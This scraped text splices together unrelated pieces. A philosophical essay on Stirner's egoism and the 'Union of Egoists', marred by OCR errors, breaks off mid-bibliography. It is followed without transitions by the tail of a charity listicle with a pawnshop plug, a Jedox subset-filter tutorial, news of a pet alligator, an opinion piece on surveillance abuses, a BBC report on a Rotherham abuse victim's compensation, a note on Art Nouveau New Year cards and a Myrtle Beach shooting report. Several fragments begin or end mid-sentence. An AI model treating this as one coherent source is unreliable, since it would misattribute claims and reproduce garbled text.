Gilles Deleuze gives Stirner a special place in Nietzsche and Philosophy, as the last gasp of dialectics, its parody- moment for that Free generation. “The dialectic cannot be halted until I become a proprietor. Even if it means ending up in nothingness.” Briefly, it’s that Stirner implodes the dialectical mechanism, finally having done with breaking- with, absolutely negating negation, leaving nothing. “Stirner is the dialectician who reveals nihilism as the truth of the dialectic.” This in the sense that if God, Humanity, and the other Subjects-Causes do not exist, I have no grounds to assert that I do merely because I have scornfully reduplicated the broken logic according to which those more credulous than I superstitiously suppose they do. Deleuze is right: “Stirner is too much of a dialectician to think in any other terms but those of property, alienation, and reappropriation - but too exacting not to see where this thought leads: to the ego which is nothing, to nihilism.” But (and this is the crucial question): which nihilism? Whose? The problem Deleuze set himself was to enlist Nietzsche in an escape from dialectical reasoning, with all of its sloppy logic and its priestly morality. For my part, I want to meet today’s confessed egoists and nihilists. Especially since they seem to have responded intelligently to the fact that our present evidences ever more images of catastrophe, of absolute annihilation. (Three provisional figures of catastrophe in our time are nuclear warfare, environmental devastation, and the company of people with no essence.) Perhaps there is no Nihilism, just these curious nihilists.
About the Unique and the Id
If we are able to grasp what is parodic in Stirner, if Ego is not a Cause in the same sense as the others, an Ego can be neither an object nor a subject. It must be a process. Any Ego has, perhaps as its beginning, certainly and repeatedly as part of its process, a creative nothing. The process is not a process that fills the void. It is rather an atomic, irreversible way of acting in a void: these acts are called appropriating, misappropriating, disappropriating, expropriating, finding, losing... Translating the book’s title literally, we understand what it underlines>Not The Ego and its Own; rather something like The Unique and Its Property, For the funny Latin- English term Ego translates Ich, “I,” not Einzige, “Unique.” It is not easy to say Unique the way that we say I. What we might hear in this awkwardness is a way to say singularity, expressed appropriately, perhaps even poetically, by replacing a pronoun with an adjective. I am not abstract me but myself with all of my qualities - my properties. Unique. The paradoxical vindication of my Cause as my own says that nothing can replace the singularity that I am or that I have. That I call I. That I cannot exchange. Ego is the name of the “unutterable” (275), unnamable Unique.
Stirner was one of those few philosophers who are more interested in having than being. Probably the most succinct way to describe this Unique, this Ego, is to say that I am exactly what I can appropriate right now, what I can say is proper to me at this moment. As though in my process I affirm a series of parts of me as Unique (my properties) and disavow another series as all those things through which I am possessed by an alien Cause. What is left is ownness. “My own I remain” (143). This corresponds exactly with Spinoza’s formula: aquiescentia in se ipso.
Keeping in mind what I have written about dialectics, clearly there is something very strange happening in Stirner with regard to having, with the concept of property. On one side there is a language that seems to parrot good old free- market capitalism: there is an individual who must appropriate to survive. On the other side, we find the claim that this appropriation is what is going to dispossess me. It is not only what is going to free me from having been possessed by these Causes but also the very event of my self-affirmation. This has to do not with survival but with life. Simply put, it is not about things, but about actions or events that I may affirm as me or as mine. Stirner offers many wonderful images of how we allow constellations of inadequate or fixed ideas to rule us. He uses the language of ghosts. “The whole world is haunted.” (36); “Ghosts in every comer!” Credulous, we are “enthusiastic” and possessed (48). The desire, then, when I proclaim my Cause, when I affirm myself, is to be a dispossessed Ego, playing in, wandering about, the fields of ownness.
For some of us Ego has a psychoanalytic resonance. It fits in the infamous second Freudian topology (that of The Ego and the Id) between the Id and the Super-Ego. If we were to redraw this picture, to playfully illustrate Stirner with Freud’s topology, it would look something like this: the Super-Ego is the Causes. That is to say, everything with which I stupidly or superstitiously identify, precisely the litany of ways I am possessed. It is what I have to get rid of, what I have to break with, free myself from. But the Id, the It in me, the source of bizarre impulses, that, for Freud, I cannot ever quite identify with, is, for Stirner, just as much me as the Ego. The Unique affirms the Ego and Id indistinctly. Stirner writes, clearly and often, that there is no interest in saying I am more the rational series than the irrational series. I am “an abyss of unregulated and lawless impulses, desires, wishes, passions, a chaos without guiding light or star!” (146). Chaos ergo sum.
For the sake of discussion, I propose a distinction between two concepts of Self in Stirner, corresponding roughly to unconfessed and confessed egoism. The first would be everything we discover by thinking about the self as a subject or object of possession: it is what I undergo when I carelessly accept the gift of words or organs. Indebted, I mistake another’s Cause for my own, and I do so in my most intimate sense of belonging: to God, to the nation, to some moral code, to a community that takes good care of me. (Notice that these tend to involve what is called Truth). I take myself to be substantial and full; I draw meaning from the identification-operation. Clearly this involves one or more fundamental self-deceptions, manifest as a separation in the Unique. This is a historical and contingent Self inasmuch as nobody chooses what he or she is possessed by. At least at first.
Another sense of Self could be called transhistorical and creative. I am thinking again about the process, about what Stirner could have intended by writing “I am the creative nothing.” One outcome of the dispossession, of what one could call the exorcism, would be to realize that the self is nothing. To take the intimacy of belonging to its degree zero. That is, if I am only what I can possess or affirm, this never excludes the possibility that I have nothing or can affirm nothing. All the courage in Stirner’s book, all of its scattershot nobility, has to do with accepting this possibility. It is a kind of psychic mortality: the fact is that the psyche can vanish and a point of view, one or more, that says I, remains. I recall here the countless people confined to asylums. I also remember here peoples who, as a result of processes of colonization or war, have lost all access to what they once called their culture, their land, or their language. Any of these peoples, and so many others of us who feel ourselves without essence, may still try to identify with something. But when we try to access it, we have nothing. We are only beginning to learn how to think through and truly feel such experiences, or gaps in experience, and the way people act and think politically or antipolitically out of them. Stirner, in his particular European geopolitical trajectory, seems to have arrived at something like this vertiginous zeroself. With regard to the countless Causes through which peoples have thought of themselves as inhabiting or developing a collective sense of self (more or less successfully distributed to individuals),
I conclude that at least some of us are breaking out of History. That some of us never entered it. That many of us feel ourselves empty.
About the funny term Police-care
The empty transhistorical or creative self, the Unique, enacts appropriation, making everything proper to itself, at least everything that it wants. By now this should mean: it indefatigably discovers or invents a singular perspective on itself, and by extension on everything else. What is funny about this is that we might also call this to consume. The empty Ego consumes whatever it desires. But unlike a full and substantial self, unlike the possessed, it consumes events and actions and makes them appropriate to nothing, to something that is ultimately empty. This is a. mockery of that “sacred” (220) notion of property which concerns things. It takes the relations of property to such an excessive point that they simply fail to work and so is, in the strictest sense, a destruction of property To make sense, property requires legal and economic individuals. 'Legal and economic individuals’ describes at least two causes, two forms of.possession, two imaginary substances. If Stirner only said to us: I want to use you; I want to make you my own, then he would still be a weird, exaggerated variant of a liberal. But he also says: I want you to use me. I expect you to use me. I don’t want you to ask me for help; I want you to take from me. And I’m going to take from you. “I do not step shyly back from your property, but look upon it always as my property,' in which I need to ‘respect’ nothing. Pray do the like with what you call my property!” (220). Now this is a description of an economy, however rudimentary. In fact, we could call it Stirner’s outlandish idea of mutual aid.
Often, when we try to think about or practice mutual aid, we drag into our activities an entire alien morality, thinking and living in terms of what Stirner calls the police care, in short making the community another Cause. As Cause, the Community is already a micro-State, a “tissue and plexus of belonging and adherence” (198). It is all too common for people to feel a horrible obligation to the Community and therefore to feel guilty when they fail, which of course they inevitably do. Somewhere a standard or measure arises or is borrowed, and immediately someone starts measuring. Someone else accepts the measure and asks: how much am I giving? Stirner observes: “The spy and eavesdropper, ‘conscience,’ watches over every motion of the mind, and all thought and action is for it a ‘matter of conscience,’ that is, police business. This tearing apart of man into ‘natural impulse’ and ‘conscience’ (inner populace and inner police) is what constitutes the Protestant” (81-82). Need I say that this is not only about certain sects of Christianity, but many more of us besides; first of all those of us, atheist or not, who have absorbed what is still called a work ethic? The State, or the States in ovo that so many Communities manifest, are gatherings of people that take good police care of each other. As Causes they maintain themselves first of all. “Every ego is from birth a criminal to begin with against the people, the State. Hence it is that it does really keep watch over all. It sees in each one an egoist and is afraid of the egoist. It presumes the worst about each one and takes care, police care, that no harm happens to the State” (179).
That is how a moral or, of course, political ideal is invoked as the Super-Ego of the group or of the Community. Remember someone’s repetitive chatter: Don’t we all believe in this and so don’t you want to be doing it?... Of course this is the very form of the dialogue—if we can still call it that—in which someone invokes the Cause, and more or less politely demands allegiance, threatening meaninglessness as the terrible alternative. What I am asked to do is to sacrifice myself for the sake of belonging in exchange for the gift of meaning, of words and organs. This is the blueprint for all moralizing politics. Some of that should have been obvious in the preceding. If I emphasize the Community as a Cause, as it so often and so sadly is, if I indulge my wish to bring this phrase, taking police care of one another, into the everyday lexicon, it is because it is comparatively easy to call someone out for being bossy, for telling other people what to do. It is more difficult to think of and intervene in the subtle and insidious forms that police care takes. A rich terrain.
For those of the Community, any alternative to belonging seems like it will fail. Indeed, it will fail the Community, or the Community will fail in and through it. What is outside Community, since coexistence is in some sense inevitable? I learned this lesson in reflecting on something I do constantly: public speaking. Of this activity Stirner writes that it is to ask others to consume me (305). Enjoy me, the Unique invites you, consume me. (To this I am tempted to add the masochist’s erotic whisper: “use me.”) Render inappropriate what I appropriated. But what is this gathering of consumers who feel allegiance to nothing, not even to the Community?
We are all Unions of Egoists
Peter Lambom Wilson has noted in several places that perhaps the Ego is another ghost, well on its way to being another Cause. One can, after all, take oneself too seriously. Referencing Landauer, Wilson suggests the Ego “still retains - despite all Stirner’s determination - a taint of the Absolute.” Certainly when I read Stirner I sometimes have to pause to cleanse the unpleasant aftertaste left by too much comparison of Self with God. It’s what is still all too dialectical in Stirner, the desire to invert the monotheist nightmare rather than just wake up from it. Certainly I have witnessed people assimilating such an Ego to an individualism that is rugged, all too rugged. I mean that the theoretical mistake of identifying what makes me Unique with what I think I am (Ego as conscience or consciousness) is perhaps a variant of the more ordinary mistake of believing that one can just be an individual in some simple way. Reflecting on the phenomenon of life, Henri Bergson wrote: “Individuality is never perfect... it is often difficult, sometimes impossible, to tell what is an individual.” As though we are not all divided within and sometimes against ourselves first and foremost, before and after possession! But that is not separation. To disattach the Ego from the Cause, to allow it to float off in a nominal or indexical way instead of delivering it to oneself and others as though it bears the heaviest weight (conscience or consciousness, terrible psychological depths, etc) has this happy consequence: I can affirm myself as multiple and have done with pledging allegiance to the Unified Self and the Cause for which it stands.
I like to think that the process of appropriation and misappropriation, of making proper and making improper, is happening in the emptiness of the self, as its effort of selfconstitution, as much as it is happening beyond, as relations with others. Stirner does sometimes write about internal conflicts, but I rarely have the sense of clarity about what I want that he tends to assume. (Perhaps my mask does not fit as well as his did.) One could express the process of individuation that makes me Unique as a series of inner conflicts. That is, we could concretize the concept of the Ego by adopting another perspective in which there are many processes, not just one. Something like that is a concrete aspect of embodiment. I find that I am composite, that I am composed by many Ego nodules, partial or micro selves that crop up and fade away depending on what activity I take up or abandon. They are in some conflict with each other inasmuch as there are different kinds of available activities and pleasures that tempt me, attract me, repel me, and seduce me. The process or processes are the chaos together with unregulated impulses as emergent desires.
Tempt us; attract us; repel us; seduce us. All of us. For now ji.am many. Too many for a Cause - for we do not all agree. *That, it seems to me, would be a better reason to say that ||o Cause can be mine but my own. If there were some kind of absolute limit it would be: my body is my own. Stirner’s parodic seizure of power over himself echoes this weirdest of all feelings. Perhaps that nonsense is how the sense of what is appropriate or proper arises. It could also be how the concept of property is ultimately dissolved.
We could understand this still empty, now multiple, self in and as the famous Union of Egoists that Stirner presents as annihilating society and State. “Society is our state of nature... But the dissolution of society is intercourse or union” (271) “It is not another state that men aim at, but, their union, uniting, this ever-fluid uniting of everything standing” (199). “The State and I are enemies. I sacrifice nothing to human society, I only utilize it; but to be able to utilize it completely I transform it into my property and my creature, that is, I annihilate it, and form in its place the Union of Egoists” (161). The Union of Egoists is precisely what made so many communists - even the Situationists - turn away and run from Stirner. His suggestion was, simply, that the inevitable processes of formation of groups would involve folks joining and leaving the group at will. “If a union has crystallized into a society, it has ceased to be a coalition; for coalition is an incessant self-uniting; it has become a unitedness, come to a standstill, degenerated into a fixity; it is — dead as a union, it is the corpse of the union or coalition, it is - society, community. A striking example of this kind is furnished by the party” (271). The Union does not, cannot, operate through separation or the police care that manages it. I approach or recede, variously saying: I want to use the group and be used by it; now I don’t - I withdraw myself.
If we start from the Ego, as the imaginarily full and substantial individual, and conceive of that entity entering and exiting the Union of Egoists, there are many reasons to conclude that this is not a viable scheme for cooperation or coexistence. However, from the perspective of an empty and creative self, we are thinking of multiple selves already going on in one body. There is no particular reason to think of (always imperfectly) individual bodies as the best or highest instance of the Unique, as opposed to unique desires and impulses - or unique groups. Individuality is not absolute, but relative. There are actions in which I act as one; there are also actions that are profoundly conflicted and even self-contradictory. This is not necessarily a weakness and it is not always a mark of separation in me. For we are each of us already a Union of Egoists. My part in composing a group as a Union of Egoists is to disband one Union and convene another, setting multiple selves in circulation, so that certain of mine connect with certain of yours. In the group, these impulses or micro-Egos circulate in a way both related and unrelated to their circulation in me. Naturally all of what goes on in my body is not connected to all of what goes on in your body. A Union of Egoists is an “ever- fluid” circulation of selves, a circulation of affects or desires. Thus what ends up being I or me - my Cause, my property, owrmess, finally - has to be redefined beyond the individual body. For the exact duration of a Union of Egoists, I is distributed in it. When others appear or disappear, I is redistributed. That is precisely what is already happening in individual bodies. If you have been unlucky enough to sleep through the lessons in which life teaches you the multiplicity of your body, you might still think that the Ego is the liberal individual, the full and substantial self, and that the Union of Egoists is a temporary association among them. Of course that ought to sound ridiculous, because nothing will get done except through some combination of coercion and good luck. If you cease to divide up self by individual body specifically, feeling the many Unique selves in each body, there must also be equally complex collective selves beyond individual bodies. That would be truly following Stirner’s intuition: the paradoxical statement that I have assumed my own Cause means that in such moments of mutual appropriation and disappropriation we clear the sort of space in which the nothing creates. He was after the greatest possible intensity of the creative moment. How do we take it to where it has almost no limit? What is the plateau of maximum circulation?
There can be no single answer to these questions. I will offer a somewhat abstract description of the feeling involved, though. Stirner has a strange passage that relates to how you and I might meet: “The last and most decided opposition, that of unique against unique, is at bottom beyond what is called opposition, but without having sunk back into unity and unison” (186). There are not two; there is not one. The empty Ego is nondenumerable, or beyond measure.
Indeed: Vinciane Despret suggests in her ethnopsycho- logical study Our Emotional Makeup that one can crudely classify responses to theoretical and practical crises of notions of the self into two sets. The one that has been more common in the so-called Western tradition is to multiply selves, severing a supposedly unified being into various sub-selves invariably distributed in hierarchical structures. (The first cleavage, from Plato to Freud and after, divides the rational and the irrational.) The one that has been less popular, always controversial, sometimes heretical, in that tradition is to erase or annihilate the self. Stirner plays and in playing transforms all three games of the self: the unified self (Unique and unnamable), the multiple self (from the abyss of unregulated impulses to the Union of Egoists), and no self (Nothing, emptiness, “thoughtlessness”). The Ego’s process extends in both directions. Uniquely.
About how he Eats Gods
All of us return, then, if we are fortunate, to the destruction of property—-to consumption. One o£ the plans for thinking modernity that Nietzsche sketched out in his notebooks reflects on unfortunate, sad modem people who cannot digest anything. We might understand all of modernity “using the metaphor of feeding and digestion.” “Sensibility unutterably more excitable (- the increase in excitability dressed in moralistic finery as the increase of compassion -), the abundance of disparate impressions greater than ever before - the cosmopolitanism of dishes, of literatures, newspapers, forms, tastes, even landscapes, etc. The tempo of this influx is prestissimo; the impressions efface each other; one instinctively resists taking something in, taking something deeply, ‘digesting’ something - this results in a weakening of the digestive power.” For Nietzsche, what one can digest is a test of one’s health, strength, and power. Metaphorical or not, this Alimentary Logic is profoundly consonant with Stirner’s thought: what we have digested is literally what we have made our own, and digesting or consuming something else is also how we become more than what we are.
Marcel Mauss and Henri Hubert’s 1898 article on “the nature and function of sacrifice” could be read,, in all its glorious sociological dryness, as an expose of the sacrificial logic of the sacred Cause. They describe religious rituals in which the credulous one eats: “By eating the sacred thing, in which the god is thought to be immanent, the sacrifier absorbs him. He is possessed by him... ” The sacrificial logic is a logic of absorption: and in absorption, possession. Absorption would then be the psychological or physiological prerequisite for identifying yourself with an alien Cause. It/should not surprise us, then, that The Ego and its Own is peppered with constant references to eating: eating things, eating other people, eating gods too. Stirner’s rejection of the Cause is a rejection of the practice of sacrifice, and of every politics and morality based on a sacrificial logic. “Everything sacred is a tie, a fetter” (176).
For every Cause is indigestible to the credulous. “What I take as absolute, I cannot devour” (183). It remains and separates me from myself, ly and painfully redistributing the micro-Egos, generating an imaginary fullness, fixing an identity.
Alternatively, to think of ourselves as eating something and not being possessed by it is to think ourselves dispossessed. Stirner writes, as I mentioned, about the world being haunted: always more ghosts, more and more spirits, more and more things that possess, more and more guilt, and so on. He writes about how this is growing. Here he is navigating Nietzsche’s accelerating world:
Around the altar rise the arches of the church and its walls keep moving further and further out. What they enclose is sacred. You can no longer get to it, no longer touch it. Shrieking with the hunger that devours you, you wander around about these walls and search for the little that is profane. And the circles of your course keep getting more and more extended. Soon that church will embrace the whole world, and you will be driven out to the extreme edge. Another step and the world of the sacred has conquered: you sink into the abyss. Therefore take courage while there it is yet time, wander about no longer in the profane where now it is dry feeding, dare the leap and rush the gates into the sanctuary itself. If you devour the sacred you have made it your own. Digest the sacramental wafer and you are rid of it. (88-89)
Yes, digest! For you are the “desecrator” (165). But observe: Stirner assumes that you are hungry. To be hungry, to be desirous in any way, corresponds to the feeling of being empty. Such feelings are indices. They are clues for patient meditators who stubbornly insist, on slowing down the prestissimo of our present. These conditions testily to emptiness and not to a lack that could be filled. They tell me not just that I need to eat (to consume so that I will be something) but also that I am to set off across what others call sacred space; to me it is a void. I continually discover and lose myself in the void. Yet I continue to act. That is what Stirner meant, I think, by excessive remark: “I do not love [the world], I annihilate it as I annihilate myself; I dissolve it” (262). To seriously take up Ego as a Cause to which I am obligated would inevitably mean to be possessed by myself, by some element that I no longer want to be. It would be my horrible apotheosis. That cannot be ownness. So, repeatedly, patiently, Stirner interrupts such moments, returning to these sentiments.I'm hungry. I’m dispossessed. I’m nothing. As Unique, the creative nothing is not the beginning of a theogony, much less an anthropogony: it is the ever-repeated destruction of property in oneself.
About the Fields of Ownness
What could Vaneigem have intended in his often invoked distinction between life (vie) and survival (survie)? Although he often deployed it in a simplistic way, the idea is beautiful in its inversion of the apparently obvious dominance of the economy (understood in a restricted sense): survival is not what is basic, primary, of the body and its needs, but rather a weakening, a vampirism, the imposition of a superior (sur) element on life (vie). And this by life itself. Vaneigem perhaps invited us to try to conceive of life itself - life by itself, life’s ownness, without transcendent illusions.
In this sense life cannot be conceived, much less lived, in terms of any transcendent meaning or project. Contemplating our emptiness, considering the swarming micro-Egos that compose us, we might learn the lesson of our irreparable relations to something alive but impersonal, inhuman. It could be what Stirner called “The Un-man who is in some sense in every individual” (125). It could be the pre-human or for- human, if I understand what Frfcre Dupont was grasping after with these notions in the book, species being. It could be what Bergson called “a haunting of the social form in the genesis of the individual.” It could be everyday life - but not the everyday life (le quotidien) of citizens (of the polis) that the Situationists described, after Lefebvre, as colonized. Not le quotidien, then, but what Bergson, again, called le courant: literally, the flowing. The flux of life in and beyond the human.
life in this sense is ultimately an impersonal circulation of desires, impulses, affects. That is what an egoist paradoxically, impossibly almost, speaks in the name of when he rejects the Cause, when she joins or parts ways with the Union of Egoists. So many masks at play on the fields of ownness: hello, egoists. Hello, nihilists. And all of this has been my fancy decoration on another such mask, one I wear today, to tell you that if anything is worth reading, it is not to find something to believe in. That other mask that accepted the gift of a nickname, Stirner, wrote: “We read it because we are interested in handling something and making it ours.”
I would like to thank the organizers and participants of the Renewing the Anarchist Tradition conference, where a first version of this essay was presented in September 2006. I would also like to thank my friend Leona for typing up a transcript of that talk.
Works Cited or Referenced
de Acosta, Alejandro. “Two Styles of Anti-Statist Subjectivity.” International Studies in Philosophy 39.2 (Spring 2007)
Agamben, Giorgio. The Open: Man and Animal. Stanford: Stanford, 2004.
Bergson, Henri. Creative Evolution. New York: Dover, 1998.
Bey, Hakim. “Black Crown and Black Rose: Anarcho-Monarchism and Anaicho-Mysticism.” In T.A.Z. New York: Autonomedia, 1991.
Buber, Martin. Paths in Utopia. Boston: Beacon, 1971.
Debord, Guy. Society of the Spectacle. New York: Zone Books, 1995.
Deleuze, Gilles. Nietzsche and Philosophy. New York: Columbia, 1983.
Hardt, Michael. Gilles Deleuze: An Apprenticeship in Philosophy. Minneapolis: Minnesota, 1993.
Despret, Vinciane. Our Emotional Makeup: Ethnopsychology and Selfhood. New York: Other Press, 2004.
Dupont, Frfere. species being and other stories. Ardent Press, 2007.
Guattari, Fdlix. The Three Ecologies. New Brunswick: Continuum, 2000.
Hume, David. “The Platonist.” In Selected Essays. New York: Oxford, 2008.
Knabb, Ken (ed.). Situationist International Anthology. Revised and |
the country. They provide a platform for sponsors and volunteers to reach out to the underpriveledged through creative and meaningful activities. U! Happy Events have done an average of more than 100 events per year. Talk about busy!
Get involved: If you are up to plan ideas in helping children, U! Happy Events encourage you to volunteer your time to be a Big Sister or Brother, they want you to inspire by sharing your talents and skills, they ask you to pledge for donation and for goods, plus they allow you to create your own event with them through birthdays, company outreach and other celebrations. So, go check their website for more.
There you have it! By now, we hope you have chosen your charitable institution or you’re now eyeing a volunteer activity from the suggestions we’d made. You can proceed to be a hero of your own! Hooray! And if you really feel like wanting to spare some cash for donation but you want a bigger fund to support two or more charities, then Pawnhero will just do the trick. You can learn more by checking our website, following our social media accounts and downloading the Pawnhero app. So what are you waiting for? Start being a hero of your own.
Image Sources: Hero Foundation Inc., Cara Welfare Philippines, Rappler World Vision Report, UC Summit Habitat For Humanity, Haribon Foundation, PSSST Ph Books For A Cause, Jar Concengco Hands on Manila, Rappler U!Happy Events ReportThe Hierarchy filter is a major subset type that is usually used in Jedox Web. The Hierarchy filters elements in a dimension based upon definitions around a hierarchy.
As the meta-data (dimension structures) change in your system, the changes will be reflected wherever you use the subset. Download the sample file here.
There are 2 examples in this file. On tab 1, there is a straightforward hierarchy filter. A Hierarchy filter allows you to filter the subset list based on hierarchical arguments. For example, you can specify to only return elements at a certain level, or elements under a certain parent. Hierarchy Filters are fantastic for when you want to display a particular tree of a specific hierarchy on a report:
On the first tab of the examples, I have basically exposed all the variables on the h-filter. Play around and see how they work. You will notice that some of the variables are values in @Value format. These are Jedox Web variables. They are user and session related variables that you can populate and share between reports. More on those later.
The second tab illustrates the flexibility of Subsets and Dynaranges. The ‘Show Parents Beneath Children” is manually set on the General tab, but it is not a variable option. You can, however, set a flag in the subset formula that gets generated.
What we are doing here is generating the base subset in the Subset Editor, and then changing the DynaRange type to Formula. We can now modify the formula manually to allow the user to toggle between showing parents above and below the rows:
The finished report now allows the user to toggle between having totals at the bottom at the top of the row elements:Florida Woman Gets OK To Keep Rambo, Her Clothes-Wearing Gator
A Florida woman who petitioned the state for permission to keep her trained gator has received official approval — just in time for Christmas.
Mary Thorn of Lakeland, Fla., has been caring for Rambo for more than a decade, The Ledger newspaper reports. Rambo wears clothes and rides motorcycles and ATVs.
But at 5 feet 8 inches, Rambo has grown large enough that the Florida Fish and Wildlife Conservation Commission was concerned that he didn't have enough space in Thorn's house.
Thorn trained Rambo and ran a business where he appeared at parties and other events. Social media is full of images of people holding and cuddling Rambo, who appears in a wide range of outfits.
News that Rambo might be separated from Thorn prompted online petitions and declarations of support.
Now, the two will be able to stay together. But the public appearances will have to stop, under her new agreement with the state of Florida. Thorn will also have to cage him and tape his mouth shut any time he leaves her house — no more going for unfettered motorcycle rides.
She says it's too bad he won't be allowed to perform any more.
"He loves being around people and taking pictures with people," she told The Ledger. "He loves to be social."
There's another requirement that bothers her — the fact that her agreement with the state calls for her to get a "pet license."
"I don't want people thinking they can have alligators for pets," she said, according to the Ledger.
She told the newspaper she considers Rambo family, and explained that he was a rescue animal who entered her life after a plastic tub was dropped off at a wrestling school she ran:
"Inside, she found five alligators in a pool of shallow water, packed so tightly together that all they could do was rock side to side on their malnourished limbs. One of the alligators died that day, followed by three of the others over the next five years that she had tried to keep alive. "Rambo is the lone survivor. "She is worried that if people start considering alligators pets, the same thing that happened to Rambo and the others will happen to more alligators."
toggle caption Mary Thorn/Facebook
Rambo is something of a celebrity in Lakeland — famous for his outfits, which change with the seasons. One recurring getup is Christmas-themed — with a red and white hat, of course, and an alligator-sized cape.
Thorn says the clothes help prevent sunburn. She told the Orlando Sentinel that Rambo was kept in the dark for the early years of his life, which left him sensitive to sunlight.
With Rambo barred from public performances, Thorn would have to get a new, smaller alligator to keep her "Country Gator Theater" business running, but she told the Sentinel she has no plans to replace him.
The Sentinel reports:These are far from the only official abuses to occur in the post-9/11 era. Whole books have been written detailing the misleading, negligent behavior of the national-security decision-makers who paved the way for the Iraq invasion, presided over the Abu Ghraib prison, and looked away as private defense contractors stole from American taxpayers and misbehaved abroad. But surely the points above are sufficient reason to harbor a deep, abiding mistrust of the government.
That isn't to say that it can or should be abolished.
America needs a federal government. It needs national-security officials, and even classified programs -- I don't want or need to know the identities of those trying to infiltrate al-Qaeda cells. But the case for being distrustful is air-tight. The case for demanding transparency, and assuming that secret surveillance programs will be abused, is supported by all the relevant history. The case for more robust oversight, by Congress, the press, and the public, is firmly grounded in experience. The notion that American security depends on a pervasive surveillance state maintained in secret -- something we've never had -- is totally without precedent, and the evidence presented for it so far is "trust us." And that we shouldn't trust is obvious.
Let's go back a bit farther, to the 1970s.
"The rampant abuses uncovered by the Church Committee, recall, had in many instances gone undisclosed to the public for decades," indispensable policy expert Julian Sanchez writes at the Cato Institute. "This is for the unsurprising reason that when government officials illegally misuse information obtained in secret surveillance programs, they tend not to send out press releases about it, but rather make covert and indirect use of the information -- as via targeted leaks -- and conceal their actions as far as possible, which the shroud of secrecy facilitates."
Among the abuses uncovered long after the fact:
Secret efforts to undermine Martin Luther King as a result of his activism on behalf of racial equality
An FBI attempt to destroy a dissident political party
Improper surveillance of private citizens by the military
Domestic FBI and CIA mail-opening programs
Again, the abuses uncovered by the Church Committee -- long after most of them took place and went undetected for lack of oversight -- are far more broad than the ones I've summarized and linked.
But they suffice to make the point. There is no reason to think that the Americans who staff the government today, and the politicians who preside over them, are somehow less prone to abusing their authority when afforded the ability to act in secret, nor that they'll remain so for the foreseeable future, through unknown presidents of both parties -- an argument that no one seems willing to make and defend. So it is irrational, even foolhardy, to permit the sort of official secrecy that the Bush and Obama Administrations have shortsightedly and arrogantly championed.Image caption Sammy Woodhouse was abused by the leader of a child grooming gang in Rotherham, South Yorkshire
A woman sexually abused as a child by a grooming gang leader was told by a government body she "consented" to it.
Sammy Woodhouse was initially denied compensation by the Criminal Injuries Compensation Authority (CICA) which said she was not "manipulated".
A Freedom of Information request revealed she is one of nearly 700 child victims of sexual abuse, including grooming, to be refused payments.
CICA is now reviewing its guidelines, the government has confirmed.
More on this story and others from across Yorkshire.
Ms Woodhouse, who waived her anonymity in an effort to help others, was 14 when she met 24-year-old Arshid Hussain, who was jailed in 2016.
Hussain, known as Mad Ash around Rotherham, South Yorkshire, was one of three brothers behind the grooming and sexual abuse of more than 50 girls including Ms Woodhouse.
Image caption Lawyer David Greenwood said for a child to consent was "just not legally possible"
He was jailed for 35 years for 23 offences including indecent assault and rape.
CICA had originally refused compensation in Ms Woodhouse's case, stating in its response: "I am not satisfied that your consent was falsely given as a result of being groomed by the offender.
"The evidence does not indicate that you were manipulated or progressively lured into a false relationship."
When Ms Woodhouse later appealed against the decision she was offered a small settlement, which was eventually altered and she was awarded the maximum amount she qualified for.
She said: "If an adult can privately think that it's a child's fault for being abused, beaten, raped, abducted, I think you're in the wrong job."
Image copyright AP Image caption (l-r) Arshid, Basharat and Bannaras Hussain have been convicted of grooming and sexually abusing young girls in Rotherham
David Greenwood, her solicitor, said: "I am utterly shocked by the notion that decision-makers in a government organisation can consider that 14 or 15-year-old girls can consent to sex with adults.
"They decided she must have consented when it's just not legally possible."
'Urgent re-examination'
A coalition of charities, including Barnardos, Victim Support and Liberty, revealed this summer that since the CICA scheme was launched in November 2012 nearly 700 child victims of sexual abuse had been refused payments, ranging between £1,000 and £44,000.
The BBC asked CICA for their response. They referred us to a statement made in the House of Commons by Secretary of State for Justice, David Liddington MP.
He said: "CICA has decided to mount an urgent re-examination of its own internal guidelines, in particular to make sure that there is no risk that a child could be disqualified from compensation because they had been groomed."
You can see this story in full on BBC Inside Out Yorkshire and Lincolnshire at 19:30 BST on BBC One on Monday 11 September, or via iPlayer for 30 days afterwards.Back in the past people used to send not only Christmas cards but also greetings for New Year. Today we want to follow this old tradition and send you a couple of classy Art Nouveau cards designed by an Austrian illustrator and painter- Raphael Kirchner.
Kirchner was born in Vienna in 1876 and graduated from the Viennese Academy of Fine Arts. He was a portrait painter, an illustrator but he gained most recognition as a postcard designer. In 1900 he moved to Paris where he spent 14 years. At the outbreak of the Great War he moved to the United States where he lived until his death in 1917.
If you’re wondering why this sledge is pulled by pigs: in Germanic cultures pigs symbolized prosperity, wealth and good fortune. In Germany people used to give each other marzipan pigs as gifts on New Year’s Eve.
In a couple of years, according to Chinese Calendar, year 2019 will be the Year of the Pig. Year 2017 will be the Year of the Rooster.
No matter what animal, zodiac, number accompanies this new year, we hope that it’s going to be a year full of art and inspiration. Explore and create, all the best!Seven people have been injured following a horrifying overnight shootout in South Carolina that was caught on Facebook Live.
Myrtle Beach Police say the incident occurred Sunday around 12:30am near Ocean Boulevard, by the coast.
Authorities say that a fight broke out among a crowd of people after which the suspect pulled out a gun and began firing. Some people were hit, and taken to the hospital with non-life threatening injuries.
The video, so far, has more than 2.6million views and has been shared more than 70,000 times.
A shootout that occurred in Myrtle Beach, South Carolina, was captured on Facebook Live. Officers were called around 12:25am because of a large crowd that had gathered, preventing traffic from passing through
Soon afterwards, a fight broke aout among three members of the crowd. Video captured a man in a white T-shirt (pictured on the sidewalk) pull out a gun and shoot the others
Myrtle Beach police officers were called to the area of 5th Ave N and Ocean Boulevard (pictured above)
According to Lt Joey Crosby, officers were called to the area of 5th Ave N and Ocean Boulevard around 12:25am because of a large crowd that had gathered, preventing traffic from passing through.
Before officers arrived, a fight broke out among three members of the crowd. Video captured a man in a white T-shirt and jeans pull out a gun and shoot the others.
In the recording, taken by Bubba Hinson, from Bethune, South Carolina, who appears to be on a balcony at a nearby hotel, more than a dozen shots can be heard.
Lt Crosby said an armed security officer witnessed the shooting and shot the suspect. The alleged shooter then shot numerous rounds and escaped the scene by carjacking a vehicle, police confirmed.
Police officers found the stolen vehicle and have identified and apprehended a suspect in the case, according to Lt Crosby. His identity is being withheld, however, until he is cleared medically and warrants are served.
Seven people were taken to the hospital with non-life threatening injuries.
Police officers found the stolen vehicle and have identified and apprehended a suspect in the case, according to Lt Joey Crosby. His identity is being withheld until he is cleared medically and warrants are served (Pictured left, shooting, and right, shooting aftermath)
